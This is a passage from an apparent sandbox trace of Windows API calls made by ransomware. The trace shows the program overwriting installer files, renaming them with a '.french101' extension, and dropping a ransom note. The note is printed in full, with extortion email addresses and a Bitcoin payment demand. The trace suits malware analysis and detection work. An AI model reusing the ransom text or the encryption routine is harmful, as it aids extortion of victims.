(hObject=0x398) returned 1 [0283.681] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\я" (normalized: "c:\\588bce7c90097ed212\\3082\\я")) returned 1 [0283.682] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0283.682] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0283.682] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0283.682] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0283.683] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf", dwFileAttributes=0x20) returned 1 [0283.683] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.683] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.683] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xbfd [0283.683] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.683] SetFilePointer (in: hFile=0x398, lDistanceToMove=3069, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0xbfd [0283.683] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c98*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c98*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0283.715] CloseHandle (hObject=0x398) returned 1 [0283.715] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.716] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.716] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0xbfe [0283.716] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.716] SetFilePointer (in: hFile=0x398, lDistanceToMove=3069, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xbfd [0283.716] SetEndOfFile (hFile=0x398) returned 1 [0283.718] CloseHandle (hObject=0x398) returned 1 [0283.718] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.718] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.718] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xbfd [0283.718] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.719] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.719] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.719] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xbfd [0283.719] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.719] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.720] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.720] GlobalLock (hMem=0x3f40014) returned 0x3ae7e28 [0283.720] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.720] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.720] GlobalHandle (pMem=0x3ae7e28) returned 0x3f40014 [0283.720] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.720] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.720] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.720] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.721] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.721] WriteFile (in: hFile=0x398, lpBuffer=0x3eaac48*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaac48*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.721] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0283.721] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0xbfd [0283.721] SetFilePointer (in: hFile=0x398, lDistanceToMove=1024, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x400 [0283.721] SetFilePointer (in: hFile=0x398, lDistanceToMove=3069, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xbfd [0283.721] WriteFile (in: hFile=0x398, lpBuffer=0x3eab048*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eab048*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0283.733] WriteFile (in: hFile=0x398, lpBuffer=0x3efcc48*, nNumberOfBytesToWrite=0xb2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3efcc48*, lpNumberOfBytesWritten=0x19e498*=0xb2, lpOverlapped=0x0) returned 1 [0283.733] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.733] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.734] CloseHandle (hObject=0x398) returned 1 [0283.734] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3082\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\IxZIbBUYAOCNLr+QnPbd+4.french101" (normalized: "c:\\588bce7c90097ed212\\3082\\ixzibbuyaocnlr+qnpbd+4.french101")) returned 1 [0283.735] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\IxZIbBUYAOCNLr+QnPbd+4.french101" (normalized: "c:\\588bce7c90097ed212\\3082\\ixzibbuyaocnlr+qnpbd+4.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.735] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0283.736] CloseHandle (hObject=0x398) returned 1 [0283.736] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\IxZIbBUYAOCNLr+QnPbd+4.french101", dwFileAttributes=0x80) returned 1 [0283.736] CloseHandle (hObject=0x398) returned 0 [0283.736] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.736] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.736] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.736] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.736] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.736] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.736] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.737] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.737] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.737] CompareStringA (Locale=0x400, dwCmpFlags=0x0, lpString1="{{IDENTIFIER}}\r\n\r\nAll your files have been encrypted due to a security problem with your PC.\r\n\r\nNow you should send us email with your personal identifier.\r\nThis email will be as confirmation you are ready to pay for decryption key.\r\nYou have to pay for decryption in Bitcoins. The price depends on how fast you write to us.\r\nAfter payment we will send you the decryption tool that will decrypt all your files. \r\n\r\nContact us using this email address: french101@protonmail.ch (french101@cock.li, french101@india.com)\r\n\r\n\r\nFree decryption as guarantee!\r\nBefore paying you can send us up to 3 files for free decryption.\r\nThe total size of files must be less than 10Mb (non archived), and files should not contain\r\nvaluable information (databases, backups, large excel sheets, etc.).\r\n\r\nHow to obtain Bitcoins? \r\n * The easiest way to buy bitcoins is LocalBitcoins site. You have to register, click \r\n 'Buy bitcoins', and select the seller by payment method and price: \r\n https://localbitcoins.com/buy_bitcoins \r\n * Also you can find other places to buy Bitcoins and beginners guide here: \r\n http://www.coindesk.com/information/how-can-i-buy-bitcoins \r\n \r\nAttention! \r\n * Do not rename encrypted files. \r\n * Do not try to decrypt your data using third party software, it may cause permanent data loss. \r\n * Decryption of your files with the help of third parties may cause increased price \r\n (they add their fee to our) or you can become a victim of a scam. \r\n", cchCount1=14, lpString2="{{IDENTIFIER}}", cchCount2=14) returned 2 [0283.737] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\HOW TO RECOVER ENCRYPTED FILES.TXT", lpFindFileData=0x19e590 | out: lpFindFileData=0x19e590) returned 0xffffffff [0283.737] GetLastError () returned 0x2 [0283.737] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\HOW TO RECOVER ENCRYPTED FILES.TXT" (normalized: "c:\\588bce7c90097ed212\\3082\\how to recover encrypted files.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.737] WriteFile (in: hFile=0x398, lpBuffer=0x3e80e78*, nNumberOfBytesToWrite=0x87f, lpNumberOfBytesWritten=0x19e798, lpOverlapped=0x0 | out: lpBuffer=0x3e80e78*, lpNumberOfBytesWritten=0x19e798*=0x87f, lpOverlapped=0x0) returned 1 [0283.739] CloseHandle (hObject=0x398) returned 1 [0283.739] FindNextFileW (in: hFindFile=0x6da1d0, lpFindFileData=0x19e918 | out: lpFindFileData=0x19e918) returned 1 [0283.739] FileTimeToLocalFileTime (in: lpFileTime=0x19e92c, lpLocalFileTime=0x19e838 | out: lpLocalFileTime=0x19e838) returned 1 [0283.739] FileTimeToDosDateTime (in: lpFileTime=0x19e838, lpFatDate=0x19e8fa, lpFatTime=0x19e8f8 | out: lpFatDate=0x19e8fa, lpFatTime=0x19e8f8) returned 1 [0283.750] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0283.750] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0283.750] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.750] GlobalLock (hMem=0x3f40014) returned 0x3ae3e08 [0283.750] GlobalLock (hMem=0x3f40004) returned 0x3ae5e18 [0283.750] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40014 [0283.750] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.751] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40004 [0283.751] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.751] OpenMutexA (dwDesiredAccess=0x1f0001, bInheritHandle=0, lpName="{83BD0373-038A-4EFA-AD88-EA97DCAB3494}") returned 0x0 [0283.751] CharLowerBuffW (in: lpsz="LocalizedData.xml", cchLength=0x11 | out: lpsz="localizeddata.xml") returned 0x11 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="m", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="x", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="xè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".è\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="t", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="tè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="d", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="dè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="e", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="eè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="z", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="zè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="i", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="iè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="a", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.751] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="c", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="cè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="o", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="l", cchWideChar=1, lpMultiByteStr=0x19d7d0, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="lè\x19", lpUsedDefaultChar=0x0) returned 1 [0283.752] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x3f13158, cbMultiByte=34, lpWideCharStr=0x19d7d8, cchWideChar=2047 | out: lpWideCharStr) returned 34 [0283.752] CharLowerBuffW (in: lpsz=".xml", cchLength=0x4 | out: lpsz=".xml") returned 0x4 [0283.752] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".xml", cchWideChar=4, lpMultiByteStr=0x19d7d8, cbMultiByte=4095, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".xml.xmlt", lpUsedDefaultChar=0x0) returned 4 [0283.752] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", lpFindFileData=0x19e578 | out: lpFindFileData=0x19e578) returned 0x6da210 [0283.752] FileTimeToLocalFileTime (in: lpFileTime=0x19e58c, lpLocalFileTime=0x19e498 | out: lpLocalFileTime=0x19e498) returned 1 [0283.752] FileTimeToDosDateTime (in: lpFileTime=0x19e498, lpFatDate=0x19e55a, lpFatTime=0x19e558 | out: lpFatDate=0x19e55a, lpFatTime=0x19e558) returned 1 [0283.752] FindClose (in: hFindFile=0x6da210 | out: hFindFile=0x6da210) returned 1 [0283.752] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml", dwFileAttributes=0x20) returned 1 [0283.753] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.753] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.753] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1387c [0283.753] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.753] SetFilePointer (in: hFile=0x398, lDistanceToMove=79996, lpDistanceToMoveHigh=0x19e490*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e490*=0) returned 0x1387c [0283.753] WriteFile (in: hFile=0x398, lpBuffer=0x3f31c88*, nNumberOfBytesToWrite=0x1, lpNumberOfBytesWritten=0x19e4a4, lpOverlapped=0x0 | out: lpBuffer=0x3f31c88*, lpNumberOfBytesWritten=0x19e4a4*=0x1, lpOverlapped=0x0) returned 1 [0283.822] CloseHandle (hObject=0x398) returned 1 [0283.860] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.860] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.860] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x1387d [0283.860] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e478*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e478*=0) returned 0x0 [0283.860] SetFilePointer (in: hFile=0x398, lDistanceToMove=79996, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1387c [0283.860] SetEndOfFile (hFile=0x398) returned 1 [0283.862] CloseHandle (hObject=0x398) returned 1 [0283.862] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.862] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.863] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x1387c [0283.863] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e46c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e46c*=0) returned 0x0 [0283.863] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.863] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.863] ReadFile (in: hFile=0x398, lpBuffer=0x3e95a98, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95a98*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.864] SetFilePointer (in: hFile=0x398, lDistanceToMove=45929, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xb369 [0283.864] ReadFile (in: hFile=0x398, lpBuffer=0x3e95258, nNumberOfBytesToRead=0x400, lpNumberOfBytesRead=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e95258*, lpNumberOfBytesRead=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.867] GlobalLock (hMem=0x3f40014) returned 0x3ae5e18 [0283.867] GlobalLock (hMem=0x3f4000c) returned 0x3ae7e28 [0283.867] GlobalHandle (pMem=0x3ae5e18) returned 0x3f40014 [0283.867] GlobalUnlock (hMem=0x3f40014) returned 0 [0283.868] GlobalHandle (pMem=0x3ae7e28) returned 0x3f4000c [0283.868] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.868] GlobalLock (hMem=0x3f4000c) returned 0x3ae5e18 [0283.868] GlobalHandle (pMem=0x3ae5e18) returned 0x3f4000c [0283.868] GlobalUnlock (hMem=0x3f4000c) returned 0 [0283.879] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x0 [0283.879] WriteFile (in: hFile=0x398, lpBuffer=0x3eaa7c8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaa7c8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.880] SetFilePointer (in: hFile=0x398, lDistanceToMove=45929, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0xb369 [0283.880] WriteFile (in: hFile=0x398, lpBuffer=0x3eaabc8*, nNumberOfBytesToWrite=0x400, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaabc8*, lpNumberOfBytesWritten=0x19e498*=0x400, lpOverlapped=0x0) returned 1 [0283.882] SetFilePointer (in: hFile=0x398, lDistanceToMove=79996, lpDistanceToMoveHigh=0x19e484*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19e484*=0) returned 0x1387c [0283.882] WriteFile (in: hFile=0x398, lpBuffer=0x3eaafc8*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3eaafc8*, lpNumberOfBytesWritten=0x19e498*=0x18, lpOverlapped=0x0) returned 1 [0283.882] WriteFile (in: hFile=0x398, lpBuffer=0x3e632d8*, nNumberOfBytesToWrite=0xc2, lpNumberOfBytesWritten=0x19e498, lpOverlapped=0x0 | out: lpBuffer=0x3e632d8*, lpNumberOfBytesWritten=0x19e498*=0xc2, lpOverlapped=0x0) returned 1 [0283.882] GlobalHandle (pMem=0x3ae3e08) returned 0x3f40004 [0283.882] GlobalUnlock (hMem=0x3f40004) returned 0 [0283.882] CloseHandle (hObject=0x398) returned 1 [0283.884] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\3082\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\3082\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\3082\\tGdmHnjocwBYGlVQclZdLWU36UcQSVEt5QXiwy+VG+t5pk.french101" (normalized: "c:\\588bce7c90097ed212\\3082\\tgdmhnjocwbyglvqclzdlwu36ucqsvet5qxiwy+vg+t5pk.french101")) returned 1 [0283.885] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3082\\tGdmHnjocwBYGlVQclZdLWU36UcQSVEt5QXiwy+VG+t5pk.french101" (normalized: "c:\\588bce7c90097ed212\\3082\\tgdmhnjocwbyglvqclzdlwu36ucqsvet5qxiwy+vg+t5pk.french101"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x398 [0283.885] SetFileTime (hFile=0x398, lpCreationTime=0x19e544, lpLastAccessTime=0x19e53c, lpLastWriteTime=0x19e534) returned 1 [0283.885] CloseHandle (hObject=0x398) returned 1 [0283.885] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\3082\\tGdmHnjocwBYGlVQclZdLWU36UcQSVEt5QXiwy+VG+t5pk.french101", dwFileAttributes=0x80) returned 1 [0283.885] CloseHandle (hObject=0x398) returned 0 [0283.886] GlobalLock (hMem=0x3f40004) returned 0x3ae3e08 [0283.886] 